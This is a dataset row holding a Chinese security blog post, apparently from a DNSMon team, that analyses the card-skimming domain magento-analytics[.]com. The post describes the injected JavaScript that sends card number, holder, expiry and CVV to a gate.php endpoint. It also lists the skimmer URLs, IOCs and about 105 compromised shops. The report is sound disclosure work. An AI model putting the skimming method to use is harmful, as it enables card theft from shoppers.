type
stringclasses 1
value | custom_template
null | created_at
stringlengths 24
24
| id
stringlengths 24
24
| slug
stringlengths 2
124
| featured
int64 0
1
| updated_at
stringlengths 24
24
| visibility
stringclasses 1
value | status
stringclasses 2
values | feature_image
stringclasses 7
values | published_at
stringlengths 24
24
⌀ | title
stringlengths 2
127
| html
stringlengths 4
358k
⌀ | plaintext
stringlengths 1
82.3k
⌀ | mobiledoc
stringlengths 99
369k
| comment_id
stringlengths 1
24
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
post | null | 2019-04-25T07:27:32.000Z | 63873b9a8b1c1e0007f52f47 | xinyongka-shuju-xielou | 0 | 2019-05-08T12:00:00.000Z | public | published | null | 2019-05-08T12:00:00.000Z | 信用卡数据泄漏持续进行中 | <p></p><!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。</p>
</blockquote>
<hr>
<h2 id="">摘要</h2>
<p>我们的DNSMon发现了一个异常域名 magento-analytics[.]com，通过持续的跟踪，以及和WEB数据的关联，发现该域名通过渗透侵入在线购物网站，植入自己的JS脚本，实时判定用户信用卡的输入情况，将信用卡的 所有人/卡号/过期时间/CVV 信息回传，实现对信用卡数据的窃取，进而可以盗刷。</p>
<p>如果有国内用户使用信用卡在国外购物网站支付，建议用户一定要谨慎，尽量选择安全做的好的大网站。国外不支持国内的密码支付体系，只要上述信息泄漏，就存在被盗刷风险。</p>
<h2 id="">缘起</h2>
<p>早在2018年10月初，我们发现域名 magento-analytics[.]com 有了异常波动。在其时，友商VT上有零星的几家报malware/maicious，但是没有具体恶意细节，我们也没有看到任何样本行为，所以没法进一步验证。同时由于其绝对访问量不是很大，我们暂时将其纳入跟踪流程，对其进行持续跟踪。</p>
<p><img src="__GHOST_URL__/content/images/2019/04/WechatIMG101.jpeg" alt="WechatIMG101" loading="lazy"></p>
<p>持续跟踪的过程中，该域名表现一直不温不火，没有出现业务上持续的剧烈变化，不过我们分析流程最近自动捕获的一个异常特征将其纳入我们的分析视野：这是个注册在“巴拿马”的域名，但在最近几月内，该域名映射的IP，从“美国-亚利桑那” 到了 “俄罗斯-莫斯科”，再到了 “中国-香港”。</p>
<p><img src="__GHOST_URL__/content/images/2019/04/1556182793291.jpg" alt="1556182793291" loading="lazy"></p>
<p>互联网业务做大了，全球提供服务可以理解，但是一个小访问量的域名，大范围的切换服务地址，也不是多IP共用，这非常有问题。小孩子也不能胡闹，我们得查清楚“熊孩子”到底在干嘛。</p>
<h2 id="">分析</h2>
<p>首先验证是不是小网站，不过该域名默认页面没有提供服务，可疑程度+1。基于我们从去年10月开始对其跟踪，所以我们有能力在我们各维度的数据流中挂锚点，将与其有关的数据都聚合在一起分析，我们很容易的可以发现该域名下URL的活跃情况。</p>
<pre><code>FirstSeen LastSeen URL
20190417 20190418 magento-analytics.com:80/5c330014a67ac.js
20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js
20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js
20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js
20190305 20190305 magento-analytics.com:80/5c13086d94587.js
20190304 20190308 magento-analytics.com:80/5c3a398f10058.js
20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js
20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js
20190203 20190406 magento-analytics.com:80/5c330014a67ac.js
20190120 20190415 magento-analytics.com:80/gate.php
20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js
20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js
20190115 20190129 magento-analytics.com:80/5c0d35f517604.js
20190110 20190314 magento-analytics.com:80/5c24b628da151.js
20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js
20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js
20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js
20181227 20190111 magento-analytics.com:80/5c2227461b957.js
20181224 20190418 magento-analytics.com:80/powermusic.js
20181224 20190417 magento-analytics.com:80/5c116a3629062.js
20181224 20190326 magento-analytics.com:80/pizzaholic.js
20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js
20181224 20181224 magento-analytics.com:443/pizzaholic.js
20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js
20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js
20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js
20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js
20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js
20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js
20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js
20181214 20181224 magento-analytics.com:443/5c0d35f517604.js
20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js
20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js
20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js
20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js
20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js
20181210 20181210 magento-analytics.com:443/monsieurplus.js
20181209 20181227 magento-analytics.com:443/powermusic.js
20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js
</code></pre>
<p>可以看到，该域名从12月初开始，承载了一众的JS脚本，大部分构成都非常相似。随便下载一个来看看。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/js-1.jpg" alt="js-1" loading="lazy"></p>
<p>JS很简单，也没有混淆。只要加载该JS，就会设定一个定时器，每隔500ms调用一下TrySend函数。TrySend函数中，会尝试获取 Number/Holder/Date/CVV 等数据项，等数据收集全，最终会调用SendData将数据上报到 [hxxps://magento-analytics.com/gate.php]。</p>
<p>看到 Number/Holder/Date，还没太大感觉；再看到CVV，一切就比较明白了，这是个搜集信用卡信息的接口。接着看其他的JS，不管是13字节长的类似hash的JS，还是powermusic.js/monsieurplus.js 等基于被挂链网站域名而特殊命名的JS，基本都是一样的功能。</p>
<p>问题来了，一个自己没有业务的域名，为什么会将信用卡信息提交给自己呢？这个域名从哪获取信用卡信息，提交的是谁的信用卡信息呢？</p>
<h2 id="">验证</h2>
<p>还是基于我们持续跟踪的数据，我们可以随便找一个加载了该JS的“可疑的受害者 www.kings2.com” 来验证一下。我们在该网站注册用户后，任意选择一个商品，选择结账，走到“Payment Information”提交信用卡信息，等到CVV数据一输入，不出所料的，我们的信用卡信息被上传了。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/victim.jpeg" alt="victim" loading="lazy"></p>
<h2 id="magentoanalytics">关于magento-analytics</h2>
<p>互联网上的信用卡信息窃取，国外有不少案例<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>，其中不乏针对Magento的攻击。(Magento是一家知名的电商CMS软件厂商，于2018年被Adobe收购，网站Alexa排名top1w)。</p>
<p>我们发现受magento-analytics[.]com影响的网站，都是电商购物网站，笼统看其出售的商品类型，包含但不限于高档箱包、山地车、婴儿用品、酒、电子产品等；同时这些网站具有相似的HTML文档结构、指向Magento的变量名、插件，这些说明它们可能是使用了Magento CMS的下游购物网站。</p>
<p>magento-analytics[.]com和magento[.]com在域名上具有高度的相似性，根据两者whois和ip的历史信息，我们可以判定magento-analytics[.]com并非Magento官方的基础设施，而是攻击者用来混淆视听的恶意域名。</p>
<p>对比两者近期的whois历史记录可以看出：magento[.]com的信息公开透明并及时更新，Adobe收购Magento一事也可以从中看出；而magento-analytics[.]com则启用了whois隐私保护，这是攻击者的惯用伎俩，也和Magento风格迥异。</p>
<pre><code>magento[.]com
createddate 2010-02-08 19:47:21
updateddate 2018-11-27 18:34:21
expiresdate 2020-02-08 19:47:21
registrant_email [email protected]
registrant_name Domain Administrator
registrant_organization Adobe Inc.
------------------------------------------------
createddate 2010-02-08 00:00:00
updateddate 2018-01-07 10:19:03
expiresdate 2019-02-08 19:47:21
registrant_organization X.commerce, Inc.
magento-analytics[.]com
createddate 2018-05-12 06:46:51
updateddate 2018-05-12 06:46:52
expiresdate 2019-05-12 06:46:51
registrant_email [email protected]
registrant_name WhoisGuard Protected
registrant_organization WhoisGuard, Inc.
</code></pre>
<p>而Magento也从未在dns层面和magento-analytics[.]com有过相近。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/dns_compare.jpg" alt="dns_compare" loading="lazy"></p>
<p>根据受害网站被挂黑链的位置、部分受害网站出现重复黑链等现象，我们推测攻击者可能利用了Magento的相关漏洞对受害网站进行攻击并植入恶意代码。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/image.png" alt="image" loading="lazy"></p>
<h2 id="">影响范围</h2>
<p>该恶意域名偷信用卡的行为已经持续了5个月之久，我们在大网范围内看到一共有105个网站加载了该JS，当前 Alexa Top 100万<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>网站中，被渗透的网站有如下6个：</p>
<pre><code>imitsosa[.]com
alkoholeswiata[.]com
spieltraum-shop[.]de
ilybean[.]com
mtbsale[.]com
ucc-bd[.]com
</code></pre>
<p>考虑到我们的视野是有限的，全网范围内会存在更多被magento-analytics[.]com利用的网站。<br>
建议使用Magento CMS的电商网站通过订阅官方的安全告警、及时打官方补丁<sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup>等方式加固自身的网站安全。</p>
<p>当前我们的DNSMon系统已经将该域名拦截，以降低国内用户数据泄漏的风险。需要反思的是，该恶意域名偷信用卡数据偷了5个月了，尽管有其他安全厂家可能比我们更早的发现或确认了这个恶意域名，可该域名至今没有被大范围封堵。</p>
<h2 id="iocs">IOCs</h2>
<pre><code>magento-analytics[.]com
AS | IP | AS Name
55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK
</code></pre>
<h2 id="">受影响网站</h2>
<pre><code>adirectholdings[.]com
adm[.]sieger-trophaen[.]de
adventureequipment[.]com[.]au
alkoholeswiata[.]com
alphathermalsystems[.]com
ameta-anson[.]com
ametagroup[.]com
ametawest[.]com
appliancespareparts[.]com[.]au
armenianbread[.]com
autosportcompany[.]nl
bagboycompany[.]com
boardbookalbum[.]biz
boardbookalbum[.]com
boardbookalbum[.]net
boardbookalbums[.]biz
boardbookalbums[.]net
burmabibas[.]com
businesstravellerbags[.]com
clotures-electriques[.]fr
cltradingfl[.]com
colorsecretspro[.]com
connfab[.]com
cupidonlingerie[.]fr
devantsporttowels[.]com
diamondbladedealer[.]com
digital-2000[.]com
emersonstreetclothing[.]com
equalli[.]com
equalli[.]co[.]uk
equalli[.]de
eu[.]twoajewelry[.]com
eyeongate[.]net
fitnessmusic[.]com
fluttereyewear[.]com
freemypaws[.]info
gabelshop[.]ch
gosuworld[.]com
hotelcathedrale[.]be
huntsmanproducts[.]com[.]au
iconicpineapple[.]com
ilybean[.]com
imitsosa[.]com
jasonandpartners[.]com[.]au
jekoshop[.]com
jekoshop[.]de
junglefeveramerica[.]com
kermanigbakery[.]com
kermanigfoods[.]com
kings2[.]com
koalabi[.]com
lamajune[.]com
li375-244[.]members[.]linode[.]com
libertyboutique[.]com[.]au
lighteningcornhole[.]com
lighting-direct[.]com[.]au
lightingwill[.]com
liquorishonline[.]com
lojacristinacairo[.]com[.]br
magformers[.]com
maxqsupport[.]com
mdcpublishers[.]com
meizitangireland[.]com
mockberg[.]com
monsieurplus[.]com
mont[.]com[.]au
mtbsale[.]com
noirnyc[.]com
nyassabathandbody[.]com
pgmetalshop[.]com
pinkorchard[.]com
pizzaholic[.]net
powermusic[.]com
prestigeandfancy[.]com
prestigebag[.]com
prestigefancy[.]com
prestigepakinc[.]com
prettysalonusa[.]com
promusica[.]ie
qspproducts[.]com
qspproducts[.]nl
qspracewear[.]nl
rightwayhp[.]com
safarijewelry[.]com
schogini[.]biz
shopatsimba[.]com
spalventilator[.]nl
spieltraum-shop[.]de
storageshedsoutlet[.]com
stylishfashionusa[.]com
suitpack[.]co[.]uk
svpmobilesystems[.]com
task-tools[.]com
tiroler-kraeuterhof[.]at
tiroler-kraeuterhof[.]com
tiroler-kraeuterhof-naturkosmetik[.]com
ucc-bd[.]com
ussi-md[.]com
utvcover[.]com
vezabands[.]com
vitibox[.]co[.]uk
waltertool[.]info
waltertool[.]org
waltertools[.]com
workoutmusic[.]com
</code></pre>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>hxxps://cdn.riskiq.com/wp-content/uploads/2018/11/RiskIQ-Flashpoint-Inside-MageCart-Report.pdf <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Alexa数据变动频繁，具体排名可能不准 <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>hxxps://magento[.]com/security <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--> |
DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。
摘要
我们的DNSMon发现了一个异常域名 magento-analytics[.]com，通过持续的跟踪，以及和WEB数据的关联，发现该域名通过渗透侵入在线购物网站，植入自己的JS脚本，实时判定用户信用卡的输入情况，将信用卡的 所有人/卡号/过期时间/CVV 信息回传，实现对信用卡数据的窃取，进而可以盗刷。
如果有国内用户使用信用卡在国外购物网站支付，建议用户一定要谨慎，尽量选择安全做的好的大网站。国外不支持国内的密码支付体系，只要上述信息泄漏，就存在被盗刷风险。
缘起
早在2018年10月初，我们发现域名 magento-analytics[.]com 有了异常波动。在其时，友商VT上有零星的几家报malware/maicious，但是没有具体恶意细节，我们也没有看到任何样本行为，所以没法进一步验证。同时由于其绝对访问量不是很大，我们暂时将其纳入跟踪流程，对其进行持续跟踪。
持续跟踪的过程中，该域名表现一直不温不火，没有出现业务上持续的剧烈变化，不过我们分析流程最近自动捕获的一个异常特征将其纳入我们的分析视野：这是个注册在“巴拿马”的域名，但在最近几月内，该域名映射的IP，从“美国-亚利桑那” 到了 “俄罗斯-莫斯科”，再到了 “中国-香港”。
互联网业务做大了，全球提供服务可以理解，但是一个小访问量的域名，大范围的切换服务地址，也不是多IP共用，这非常有问题。小孩子也不能胡闹，我们得查清楚“熊孩子”到底在干嘛。
分析
首先验证是不是小网站，不过该域名默认页面没有提供服务，可疑程度+1。基于我们从去年10月开始对其跟踪，所以我们有能力在我们各维度的数据流中挂锚点，将与其有关的数据都聚合在一起分析，我们很容易的可以发现该域名下URL的活跃情况。
FirstSeen LastSeen URL
20190417 20190418 magento-analytics.com:80/5c330014a67ac.js
20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js
20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js
20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js
20190305 20190305 magento-analytics.com:80/5c13086d94587.js
20190304 20190308 magento-analytics.com:80/5c3a398f10058.js
20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js
20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js
20190203 20190406 magento-analytics.com:80/5c330014a67ac.js
20190120 20190415 magento-analytics.com:80/gate.php
20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js
20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js
20190115 20190129 magento-analytics.com:80/5c0d35f517604.js
20190110 20190314 magento-analytics.com:80/5c24b628da151.js
20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js
20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js
20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js
20181227 20190111 magento-analytics.com:80/5c2227461b957.js
20181224 20190418 magento-analytics.com:80/powermusic.js
20181224 20190417 magento-analytics.com:80/5c116a3629062.js
20181224 20190326 magento-analytics.com:80/pizzaholic.js
20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js
20181224 20181224 magento-analytics.com:443/pizzaholic.js
20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js
20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js
20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js
20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js
20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js
20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js
20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js
20181214 20181224 magento-analytics.com:443/5c0d35f517604.js
20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js
20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js
20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js
20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js
20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js
20181210 20181210 magento-analytics.com:443/monsieurplus.js
20181209 20181227 magento-analytics.com:443/powermusic.js
20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js
可以看到，该域名从12月初开始，承载了一众的JS脚本，大部分构成都非常相似。随便下载一个来看看。
JS很简单，也没有混淆。只要加载该JS，就会设定一个定时器，每隔500ms调用一下TrySend函数。TrySend函数中，会尝试获取 Number/Holder/Date/CVV 等数据项，等数据收集全，最终会调用SendData将数据上报到 [hxxps://magento-analytics.com/gate.php]。
看到 Number/Holder/Date，还没太大感觉；再看到CVV，一切就比较明白了，这是个搜集信用卡信息的接口。接着看其他的JS，不管是13字节长的类似hash的JS，还是powermusic.js/monsieurplus.js 等基于被挂链网站域名而特殊命名的JS，基本都是一样的功能。
问题来了，一个自己没有业务的域名，为什么会将信用卡信息提交给自己呢？这个域名从哪获取信用卡信息，提交的是谁的信用卡信息呢？
验证
还是基于我们持续跟踪的数据，我们可以随便找一个加载了该JS的“可疑的受害者 www.kings2.com” 来验证一下。我们在该网站注册用户后，任意选择一个商品，选择结账，走到“Payment Information”提交信用卡信息，等到CVV数据一输入，不出所料的，我们的信用卡信息被上传了。
关于magento-analytics
互联网上的信用卡信息窃取，国外有不少案例[1]，其中不乏针对Magento的攻击。(Magento是一家知名的电商CMS软件厂商，于2018年被Adobe收购，网站Alexa排名top1w)。
我们发现受magento-analytics[.]com影响的网站，都是电商购物网站，笼统看其出售的商品类型，包含但不限于高档箱包、山地车、婴儿用品、酒、电子产品等；同时这些网站具有相似的HTML文档结构、指向Magento的变量名、插件，这些说明它们可能是使用了Magento CMS的下游购物网站。
magento-analytics[.]com和magento[.]com在域名上具有高度的相似性，根据两者whois和ip的历史信息，我们可以判定magento-analytics[.]com并非Magento官方的基础设施，而是攻击者用来混淆视听的恶意域名。
对比两者近期的whois历史记录可以看出：magento[.]com的信息公开透明并及时更新，Adobe收购Magento一事也可以从中看出；而magento-analytics[.]com则启用了whois隐私保护，这是攻击者的惯用伎俩，也和Magento风格迥异。
magento[.]com
createddate 2010-02-08 19:47:21
updateddate 2018-11-27 18:34:21
expiresdate 2020-02-08 19:47:21
registrant_email [email protected]
registrant_name Domain Administrator
registrant_organization Adobe Inc.
------------------------------------------------
createddate 2010-02-08 00:00:00
updateddate 2018-01-07 10:19:03
expiresdate 2019-02-08 19:47:21
registrant_organization X.commerce, Inc.
magento-analytics[.]com
createddate 2018-05-12 06:46:51
updateddate 2018-05-12 06:46:52
expiresdate 2019-05-12 06:46:51
registrant_email [email protected]
registrant_name WhoisGuard Protected
registrant_organization WhoisGuard, Inc.
而Magento也从未在dns层面和magento-analytics[.]com有过相近。
根据受害网站被挂黑链的位置、部分受害网站出现重复黑链等现象，我们推测攻击者可能利用了Magento的相关漏洞对受害网站进行攻击并植入恶意代码。
影响范围
该恶意域名偷信用卡的行为已经持续了5个月之久，我们在大网范围内看到一共有105个网站加载了该JS，当前 Alexa Top 100万[2]网站中，被渗透的网站有如下6个：
imitsosa[.]com
alkoholeswiata[.]com
spieltraum-shop[.]de
ilybean[.]com
mtbsale[.]com
ucc-bd[.]com
考虑到我们的视野是有限的，全网范围内会存在更多被magento-analytics[.]com利用的网站。
建议使用Magento CMS的电商网站通过订阅官方的安全告警、及时打官方补丁[3]等方式加固自身的网站安全。
当前我们的DNSMon系统已经将该域名拦截，以降低国内用户数据泄漏的风险。需要反思的是，该恶意域名偷信用卡数据偷了5个月了，尽管有其他安全厂家可能比我们更早的发现或确认了这个恶意域名，可该域名至今没有被大范围封堵。
IOCs
magento-analytics[.]com
AS | IP | AS Name
55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK
受影响网站
adirectholdings[.]com
adm[.]sieger-trophaen[.]de
adventureequipment[.]com[.]au
alkoholeswiata[.]com
alphathermalsystems[.]com
ameta-anson[.]com
ametagroup[.]com
ametawest[.]com
appliancespareparts[.]com[.]au
armenianbread[.]com
autosportcompany[.]nl
bagboycompany[.]com
boardbookalbum[.]biz
boardbookalbum[.]com
boardbookalbum[.]net
boardbookalbums[.]biz
boardbookalbums[.]net
burmabibas[.]com
businesstravellerbags[.]com
clotures-electriques[.]fr
cltradingfl[.]com
colorsecretspro[.]com
connfab[.]com
cupidonlingerie[.]fr
devantsporttowels[.]com
diamondbladedealer[.]com
digital-2000[.]com
emersonstreetclothing[.]com
equalli[.]com
equalli[.]co[.]uk
equalli[.]de
eu[.]twoajewelry[.]com
eyeongate[.]net
fitnessmusic[.]com
fluttereyewear[.]com
freemypaws[.]info
gabelshop[.]ch
gosuworld[.]com
hotelcathedrale[.]be
huntsmanproducts[.]com[.]au
iconicpineapple[.]com
ilybean[.]com
imitsosa[.]com
jasonandpartners[.]com[.]au
jekoshop[.]com
jekoshop[.]de
junglefeveramerica[.]com
kermanigbakery[.]com
kermanigfoods[.]com
kings2[.]com
koalabi[.]com
lamajune[.]com
li375-244[.]members[.]linode[.]com
libertyboutique[.]com[.]au
lighteningcornhole[.]com
lighting-direct[.]com[.]au
lightingwill[.]com
liquorishonline[.]com
lojacristinacairo[.]com[.]br
magformers[.]com
maxqsupport[.]com
mdcpublishers[.]com
meizitangireland[.]com
mockberg[.]com
monsieurplus[.]com
mont[.]com[.]au
mtbsale[.]com
noirnyc[.]com
nyassabathandbody[.]com
pgmetalshop[.]com
pinkorchard[.]com
pizzaholic[.]net
powermusic[.]com
prestigeandfancy[.]com
prestigebag[.]com
prestigefancy[.]com
prestigepakinc[.]com
prettysalonusa[.]com
promusica[.]ie
qspproducts[.]com
qspproducts[.]nl
qspracewear[.]nl
rightwayhp[.]com
safarijewelry[.]com
schogini[.]biz
shopatsimba[.]com
spalventilator[.]nl
spieltraum-shop[.]de
storageshedsoutlet[.]com
stylishfashionusa[.]com
suitpack[.]co[.]uk
svpmobilesystems[.]com
task-tools[.]com
tiroler-kraeuterhof[.]at
tiroler-kraeuterhof[.]com
tiroler-kraeuterhof-naturkosmetik[.]com
ucc-bd[.]com
ussi-md[.]com
utvcover[.]com
vezabands[.]com
vitibox[.]co[.]uk
waltertool[.]info
waltertool[.]org
waltertools[.]com
workoutmusic[.]com
1. hxxps://cdn.riskiq.com/wp-content/uploads/2018/11/RiskIQ-Flashpoint-Inside-MageCart-Report.pdf ↩︎
2. Alexa数据变动频繁，具体排名可能不准 ↩︎
3. hxxps://magento[.]com/security ↩︎
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n------\n> DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。\n------\n\n\n\n## 摘要\n\n我们的DNSMon发现了一个异常域名 magento-analytics[.]com，通过持续的跟踪，以及和WEB数据的关联，发现该域名通过渗透侵入在线购物网站，植入自己的JS脚本，实时判定用户信用卡的输入情况，将信用卡的 所有人/卡号/过期时间/CVV 信息回传，实现对信用卡数据的窃取，进而可以盗刷。\n\n\n如果有国内用户使用信用卡在国外购物网站支付，建议用户一定要谨慎，尽量选择安全做的好的大网站。国外不支持国内的密码支付体系，只要上述信息泄漏，就存在被盗刷风险。\n\n\n## 缘起\n\n早在2018年10月初，我们发现域名 magento-analytics[.]com 有了异常波动。在其时，友商VT上有零星的几家报malware/maicious，但是没有具体恶意细节，我们也没有看到任何样本行为，所以没法进一步验证。同时由于其绝对访问量不是很大，我们暂时将其纳入跟踪流程，对其进行持续跟踪。\n\n\n\n持续跟踪的过程中，该域名表现一直不温不火，没有出现业务上持续的剧烈变化，不过我们分析流程最近自动捕获的一个异常特征将其纳入我们的分析视野：这是个注册在“巴拿马”的域名，但在最近几月内，该域名映射的IP，从“美国-亚利桑那” 到了 “俄罗斯-莫斯科”，再到了 “中国-香港”。\n\n\n\n互联网业务做大了，全球提供服务可以理解，但是一个小访问量的域名，大范围的切换服务地址，也不是多IP共用，这非常有问题。小孩子也不能胡闹，我们得查清楚“熊孩子”到底在干嘛。\n\n\n## 分析\n\n首先验证是不是小网站，不过该域名默认页面没有提供服务，可疑程度+1。基于我们从去年10月开始对其跟踪，所以我们有能力在我们各维度的数据流中挂锚点，将与其有关的数据都聚合在一起分析，我们很容易的可以发现该域名下URL的活跃情况。\n\n``` \nFirstSeen LastSeen URL\n20190417 20190418 magento-analytics.com:80/5c330014a67ac.js\n20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js\n20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js\n20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js\n20190305 20190305 magento-analytics.com:80/5c13086d94587.js\n20190304 20190308 magento-analytics.com:80/5c3a398f10058.js\n20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js\n20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js\n20190203 20190406 magento-analytics.com:80/5c330014a67ac.js\n20190120 20190415 magento-analytics.com:80/gate.php\n20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js\n20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js\n20190115 20190129 magento-analytics.com:80/5c0d35f517604.js\n20190110 20190314 magento-analytics.com:80/5c24b628da151.js\n20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js\n20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js\n20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js\n20181227 20190111 magento-analytics.com:80/5c2227461b957.js\n20181224 20190418 magento-analytics.com:80/powermusic.js\n20181224 20190417 magento-analytics.com:80/5c116a3629062.js\n20181224 20190326 magento-analytics.com:80/pizzaholic.js\n20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js\n20181224 20181224 magento-analytics.com:443/pizzaholic.js\n20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js\n20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js\n20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js\n20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js\n20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js\n20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js\n20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js\n20181214 20181224 magento-analytics.com:443/5c0d35f517604.js\n20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js\n20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js\n20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js\n20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js\n20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js\n20181210 20181210 magento-analytics.com:443/monsieurplus.js\n20181209 20181227 magento-analytics.com:443/powermusic.js\n20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js\n```\n\n可以看到，该域名从12月初开始，承载了一众的JS脚本，大部分构成都非常相似。随便下载一个来看看。\n\n\n\n\n\nJS很简单，也没有混淆。只要加载该JS，就会设定一个定时器，每隔500ms调用一下TrySend函数。TrySend函数中，会尝试获取 Number/Holder/Date/CVV 等数据项，等数据收集全，最终会调用SendData将数据上报到 [hxxps://magento-analytics.com/gate.php]。\n\n看到 Number/Holder/Date，还没太大感觉；再看到CVV，一切就比较明白了，这是个搜集信用卡信息的接口。接着看其他的JS，不管是13字节长的类似hash的JS，还是powermusic.js/monsieurplus.js 等基于被挂链网站域名而特殊命名的JS，基本都是一样的功能。\n\n问题来了，一个自己没有业务的域名，为什么会将信用卡信息提交给自己呢？这个域名从哪获取信用卡信息，提交的是谁的信用卡信息呢？\n\n\n## 验证\n\n\n还是基于我们持续跟踪的数据，我们可以随便找一个加载了该JS的“可疑的受害者 www.kings2.com” 来验证一下。我们在该网站注册用户后，任意选择一个商品，选择结账，走到“Payment Information”提交信用卡信息，等到CVV数据一输入，不出所料的，我们的信用卡信息被上传了。\n\n\n\n\n\n## 关于magento-analytics\n\n\n互联网上的信用卡信息窃取，国外有不少案例[^1]，其中不乏针对Magento的攻击。(Magento是一家知名的电商CMS软件厂商，于2018年被Adobe收购，网站Alexa排名top1w)。\n\n\n我们发现受magento-analytics[.]com影响的网站，都是电商购物网站，笼统看其出售的商品类型，包含但不限于高档箱包、山地车、婴儿用品、酒、电子产品等；同时这些网站具有相似的HTML文档结构、指向Magento的变量名、插件，这些说明它们可能是使用了Magento 